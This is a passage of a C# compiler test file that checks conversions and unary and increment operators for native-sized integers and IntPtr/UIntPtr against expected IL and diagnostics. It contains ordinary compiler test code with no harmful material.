conversions(sourceType: "int", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "uint", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "long", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)"), expectedCheckedIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ulong", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)"));
conversions(sourceType: "float", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "double", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "decimal", destType: "System.UIntPtr?", expectedImplicitIL: null,
@"{
// Code size 17 (0x11)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong decimal.op_Explicit(decimal)""
IL_0006: call ""System.UIntPtr System.UIntPtr.op_Explicit(ulong)""
IL_000b: newobj ""System.UIntPtr?..ctor(System.UIntPtr)""
IL_0010: ret
}");
conversions(sourceType: "bool?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("char", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "sbyte?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("sbyte", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvFromNullableT("sbyte", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "byte?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("byte", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "short?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("short", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvFromNullableT("short", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ushort?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("ushort", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "int?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("int", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvFromNullableT("int", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "uint?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("uint", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "long?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("long", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)"), expectedCheckedIL: explicitAndConvFromNullableT("long", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ulong?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("ulong", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)"));
conversions(sourceType: "float?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("float", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConvFromNullableT("float", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "double?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("double", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConvFromNullableT("double", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "decimal?", destType: "System.UIntPtr", expectedImplicitIL: null,
@"{
// Code size 18 (0x12)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""decimal decimal?.Value.get""
IL_0007: call ""ulong decimal.op_Explicit(decimal)""
IL_000c: call ""System.UIntPtr System.UIntPtr.op_Explicit(ulong)""
IL_0011: ret
}");
conversions(sourceType: "bool?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("char", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "sbyte?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("sbyte", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvFromToNullableT("sbyte", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "byte?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("byte", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "short?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("short", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvFromToNullableT("short", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ushort?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("ushort", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "int?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("int", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvFromToNullableT("int", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "uint?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("uint", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "long?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("long", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvFromToNullableT("long", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ulong?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("ulong", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)"));
conversions(sourceType: "float?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("float", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConvFromToNullableT("float", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "double?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("double", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConvFromToNullableT("double", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
// https://github.com/dotnet/roslyn/issues/42834: Invalid code generated for nullable conversions
// involving System.[U]IntPtr: the conversion ulong decimal.op_Explicit(decimal) is dropped.
conversions(sourceType: "decimal?", destType: "System.UIntPtr?", expectedImplicitIL: null,
@"{
// Code size 39 (0x27)
.maxstack 1
.locals init (decimal? V_0,
System.UIntPtr? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool decimal?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""System.UIntPtr?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""decimal decimal?.GetValueOrDefault()""
IL_001c: call ""System.UIntPtr System.UIntPtr.op_Explicit(ulong)""
IL_0021: newobj ""System.UIntPtr?..ctor(System.UIntPtr)""
IL_0026: ret
}");
void convert(string sourceType,
string destType,
string expectedIL,
bool skipTypeChecks,
bool useExplicitCast,
bool useChecked,
bool verify,
ErrorCode expectedErrorCode)
{
bool useUnsafeContext = useUnsafe(sourceType) || useUnsafe(destType);
string value = "value";
if (useExplicitCast)
{
value = $"({destType})value";
}
var expectedDiagnostics = expectedErrorCode == 0 ?
Array.Empty<DiagnosticDescription>() :
new[] { Diagnostic(expectedErrorCode, value).WithArguments(sourceType, destType) };
if (useChecked)
{
value = $"checked({value})";
}
string source =
$@"class Program
{{
static {(useUnsafeContext ? "unsafe " : "")}{destType} Convert({sourceType} value)
{{
return {value};
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseDll.WithAllowUnsafe(useUnsafeContext), parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedDiagnostics);
var tree = comp.SyntaxTrees[0];
var model = comp.GetSemanticModel(tree);
var expr = tree.GetRoot().DescendantNodes().OfType<ReturnStatementSyntax>().Single().Expression;
var typeInfo = model.GetTypeInfo(expr);
if (!skipTypeChecks)
{
Assert.Equal(sourceType, typeInfo.Type.ToString());
Assert.Equal(destType, typeInfo.ConvertedType.ToString());
}
if (expectedIL != null)
{
var verifier = CompileAndVerify(comp, verify: useUnsafeContext || !verify ? Verification.Skipped : Verification.Passes);
verifier.VerifyIL("Program.Convert", expectedIL);
}
static bool useUnsafe(string type) => type == "void*";
}
}
[Fact]
public void UnaryOperators()
{
static string getComplement(uint value)
{
object result = (IntPtr.Size == 4) ?
(object)~value :
(object)~(ulong)value;
return result.ToString();
}
void unaryOp(string op, string opType, string expectedSymbol = null, string operand = null, string expectedResult = null, string expectedIL = "", DiagnosticDescription diagnostic = null)
{
operand ??= "default";
if (expectedSymbol == null && diagnostic == null)
{
diagnostic = Diagnostic(ErrorCode.ERR_BadUnaryOp, $"{op}operand").WithArguments(op, opType);
}
unaryOperator(op, opType, opType, expectedSymbol, operand, expectedResult, expectedIL, diagnostic != null ? new[] { diagnostic } : Array.Empty<DiagnosticDescription>());
}
unaryOp("+", "nint", "nint nint.op_UnaryPlus(nint value)", "3", "3",
@"{
// Code size 2 (0x2)
.maxstack 1
IL_0000: ldarg.0
IL_0001: ret
}");
unaryOp(" + ", "nuint", "nuint nuint.op_UnaryPlus(nuint value)", "3", "3",
@"{
// Code size 2 (0x2)
.maxstack 1
IL_0000: ldarg.0
IL_0001: ret
}");
unaryOp("+", "System.IntPtr");
unaryOp("+", "System.UIntPtr");
unaryOp("-", "nint", "nint nint.op_UnaryNegation(nint value)", "3", "-3",
@"{
// Code size 3 (0x3)
.maxstack 1
IL_0000: ldarg.0
IL_0001: neg
IL_0002: ret
}");
unaryOp("-", "nuint");
unaryOp("-", "System.IntPtr");
unaryOp("-", "System.UIntPtr");
unaryOp("!", "nint");
unaryOp("!", "nuint");
unaryOp("!", "System.IntPtr");
unaryOp("!", "System.UIntPtr");
unaryOp("~", "nint", "nint nint.op_OnesComplement(nint value)", "3", "-4",
@"{
// Code size 3 (0x3)
.maxstack 1
IL_0000: ldarg.0
IL_0001: not
IL_0002: ret
}");
unaryOp("~", "nuint", "nuint nuint.op_OnesComplement(nuint value)", "3", getComplement(3),
@"{
// Code size 3 (0x3)
.maxstack 1
IL_0000: ldarg.0
IL_0001: not
IL_0002: ret
}");
unaryOp("~", "System.IntPtr");
unaryOp("~", "System.UIntPtr");
unaryOp("+", "nint?", "nint nint.op_UnaryPlus(nint value)", "3", "3",
@"{
// Code size 34 (0x22)
.maxstack 1
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nint nint?.GetValueOrDefault()""
IL_001c: newobj ""nint?..ctor(nint)""
IL_0021: ret
}");
unaryOp("+", "nuint?", "nuint nuint.op_UnaryPlus(nuint value)", "3", "3",
@"{
// Code size 34 (0x22)
.maxstack 1
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nuint nuint?.GetValueOrDefault()""
IL_001c: newobj ""nuint?..ctor(nuint)""
IL_0021: ret
}");
unaryOp("+", "System.IntPtr?");
unaryOp("+", "System.UIntPtr?");
unaryOp("-", "nint?", "nint nint.op_UnaryNegation(nint value)", "3", "-3",
@"{
// Code size 35 (0x23)
.maxstack 1
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nint nint?.GetValueOrDefault()""
IL_001c: neg
IL_001d: newobj ""nint?..ctor(nint)""
IL_0022: ret
}");
// Reporting ERR_AmbigUnaryOp for `-(nuint?)value` is inconsistent with the ERR_BadUnaryOp reported
// for `-(nuint)value`, but that difference in behavior is consistent with the pair of errors reported for
// `-(ulong?)value` and `-(ulong)value`. See the "Special case" in Binder.UnaryOperatorOverloadResolution()
// which handles ulong but not ulong?.
unaryOp("-", "nuint?", null, null, null, null, Diagnostic(ErrorCode.ERR_AmbigUnaryOp, "-operand").WithArguments("-", "nuint?"));
unaryOp("-", "System.IntPtr?");
unaryOp("-", "System.UIntPtr?");
unaryOp("!", "nint?");
unaryOp("!", "nuint?");
unaryOp("!", "System.IntPtr?");
unaryOp("!", "System.UIntPtr?");
unaryOp("~", "nint?", "nint nint.op_OnesComplement(nint value)", "3", "-4",
@"{
// Code size 35 (0x23)
.maxstack 1
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nint nint?.GetValueOrDefault()""
IL_001c: not
IL_001d: newobj ""nint?..ctor(nint)""
IL_0022: ret
}");
unaryOp("~", "nuint?", "nuint nuint.op_OnesComplement(nuint value)", "3", getComplement(3),
@"{
// Code size 35 (0x23)
.maxstack 1
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nuint nuint?.GetValueOrDefault()""
IL_001c: not
IL_001d: newobj ""nuint?..ctor(nuint)""
IL_0022: ret
}");
unaryOp("~", "System.IntPtr?");
unaryOp("~", "System.UIntPtr?");
void unaryOperator(string op, string opType, string resultType, string expectedSymbol, string operand, string expectedResult, string expectedIL, DiagnosticDescription[] expectedDiagnostics)
{
string source =
$@"class Program
{{
static {resultType} Evaluate({opType} operand)
{{
return {op}operand;
}}
static void Main()
{{
System.Console.WriteLine(Evaluate({operand}));
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedDiagnostics);
var tree = comp.SyntaxTrees[0];
var model = comp.GetSemanticModel(tree);
var expr = tree.GetRoot().DescendantNodes().OfType<PrefixUnaryExpressionSyntax>().Single();
var symbolInfo = model.GetSymbolInfo(expr);
Assert.Equal(expectedSymbol, symbolInfo.Symbol?.ToDisplayString(SymbolDisplayFormat.TestFormat.WithMiscellaneousOptions(SymbolDisplayMiscellaneousOptions.UseSpecialTypes)));
if (expectedDiagnostics.Length == 0)
{
var verifier = CompileAndVerify(comp, expectedOutput: expectedResult);
verifier.VerifyIL("Program.Evaluate", expectedIL);
}
}
}
[Fact]
public void IncrementOperators()
{
void incrementOps(string op, string opType, string expectedSymbol = null, bool useChecked = false, string values = null, string expectedResult = null, string expectedIL = "", string expectedLiftedIL = "", DiagnosticDescription diagnostic = null)
{
incrementOperator(op, opType, isPrefix: true, expectedSymbol, useChecked, values, expectedResult, expectedIL, getDiagnostics(opType, isPrefix: true, diagnostic));
incrementOperator(op, opType, isPrefix: false, expectedSymbol, useChecked, values, expectedResult, expectedIL, getDiagnostics(opType, isPrefix: false, diagnostic));
opType += "?";
incrementOperator(op, opType, isPrefix: true, expectedSymbol, useChecked, values, expectedResult, expectedLiftedIL, getDiagnostics(opType, isPrefix: true, diagnostic));
incrementOperator(op, opType, isPrefix: false, expectedSymbol, useChecked, values, expectedResult, expectedLiftedIL, getDiagnostics(opType, isPrefix: false, diagnostic));
DiagnosticDescription[] getDiagnostics(string opType, bool isPrefix, DiagnosticDescription diagnostic)
{
if (expectedSymbol == null && diagnostic == null)
{
diagnostic = Diagnostic(ErrorCode.ERR_BadUnaryOp, isPrefix ? op + "operand" : "operand" + op).WithArguments(op, opType);
}
return diagnostic != null ? new[] { diagnostic } : Array.Empty<DiagnosticDescription>();
}
}
incrementOps("++", "nint", "nint nint.op_Increment(nint value)", useChecked: false,
values: $"{int.MinValue}, -1, 0, {int.MaxValue - 1}, {int.MaxValue}",
expectedResult: $"-2147483647, 0, 1, 2147483647, {(IntPtr.Size == 4 ? "-2147483648" : "2147483648")}",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: add
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nint nint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: add
IL_001f: newobj ""nint?..ctor(nint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("++", "nuint", "nuint nuint.op_Increment(nuint value)", useChecked: false,
values: $"0, {int.MaxValue}, {uint.MaxValue - 1}, {uint.MaxValue}",
expectedResult: $"1, 2147483648, 4294967295, {(IntPtr.Size == 4 ? "0" : "4294967296")}",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: add
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nuint nuint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: add
IL_001f: newobj ""nuint?..ctor(nuint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("++", "System.IntPtr");
incrementOps("++", "System.UIntPtr");
incrementOps("--", "nint", "nint nint.op_Decrement(nint value)", useChecked: false,
values: $"{int.MinValue}, {int.MinValue + 1}, 0, 1, {int.MaxValue}",
expectedResult: $"{(IntPtr.Size == 4 ? "2147483647" : "-2147483649")}, -2147483648, -1, 0, 2147483646",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: sub
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nint nint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: sub
IL_001f: newobj ""nint?..ctor(nint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("--", "nuint", "nuint nuint.op_Decrement(nuint value)", useChecked: false,
values: $"0, 1, {uint.MaxValue}",
expectedResult: $"{(IntPtr.Size == 4 ? uint.MaxValue.ToString() : ulong.MaxValue.ToString())}, 0, 4294967294",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: sub
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nuint nuint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: sub
IL_001f: newobj ""nuint?..ctor(nuint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("--", "System.IntPtr");
incrementOps("--", "System.UIntPtr");
incrementOps("++", "nint", "nint nint.op_Increment(nint value)", useChecked: true,
values: $"{int.MinValue}, -1, 0, {int.MaxValue - 1}, {int.MaxValue}",
expectedResult: $"-2147483647, 0, 1, 2147483647, {(IntPtr.Size == 4 ? "System.OverflowException" : "2147483648")}",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: add.ovf
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nint nint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: add.ovf
IL_001f: newobj ""nint?..ctor(nint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("++", "nuint", "nuint nuint.op_Increment(nuint value)", useChecked: true,
values: $"0, {int.MaxValue}, {uint.MaxValue - 1}, {uint.MaxValue}",
expectedResult: $"1, 2147483648, 4294967295, {(IntPtr.Size == 4 ? "System.OverflowException" : "4294967296")}",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: add.ovf.un
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nuint nuint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: add.ovf.un
IL_001f: newobj ""nuint?..ctor(nuint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("++", "System.IntPtr", null, useChecked: true);
incrementOps("++", "System.UIntPtr", null, useChecked: true);
incrementOps("--", "nint", "nint nint.op_Decrement(nint value)", useChecked: true,
values: $"{int.MinValue}, {int.MinValue + 1}, 0, 1, {int.MaxValue}",
expectedResult: $"{(IntPtr.Size == 4 ? "System.OverflowException" : "-2147483649")}, -2147483648, -1, 0, 2147483646",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: sub.ovf
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nint nint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: sub.ovf
IL_001f: newobj ""nint?..ctor(nint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("--", "nuint", "nuint nuint.op_Decrement(nuint value)", useChecked: true,
values: $"0, 1, {uint.MaxValue}",
expectedResult: $"System.OverflowException, 0, 4294967294",
@"{
// Code size 7 (0x7)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldc.i4.1
IL_0002: sub.ovf.un
IL_0003: starg.s V_0
IL_0005: ldarg.0
IL_0006: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 2
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0016
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: br.s IL_0024
IL_0016: ldloca.s V_0
IL_0018: call ""nuint nuint?.GetValueOrDefault()""
IL_001d: ldc.i4.1
IL_001e: sub.ovf.un
IL_001f: newobj ""nuint?..ctor(nuint)""
IL_0024: starg.s V_0
IL_0026: ldarg.0
IL_0027: ret
}");
incrementOps("--", "System.IntPtr", null, useChecked: true);
incrementOps("--", "System.UIntPtr", null, useChecked: true);
void incrementOperator(string op, string opType, bool isPrefix, string expectedSymbol, bool useChecked, string values, string expectedResult, string expectedIL, DiagnosticDescription[] expectedDiagnostics)
{
var source =
$@"using System;
class Program
{{
static {opType} Evaluate({opType} operand)
{{
{(useChecked ? "checked" : "unchecked")}
{{
{(isPrefix ? op + "operand" : "operand" + op)};
return operand;
}}
}}
static void EvaluateAndReport({opType} operand)
{{
object result;
try
{{
result = Evaluate(operand);
}}
catch (Exception e)
{{
result = e.GetType();
}}
Console.Write(result);
}}
static void Main()
{{
bool separator = false;
foreach (var value in new {opType}[] {{ {values} }})
{{
if (separator) Console.Write("", "");
separator = true;
EvaluateAndReport(value);
}}
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedDiagnostics);
var tree = comp.SyntaxTrees[0];
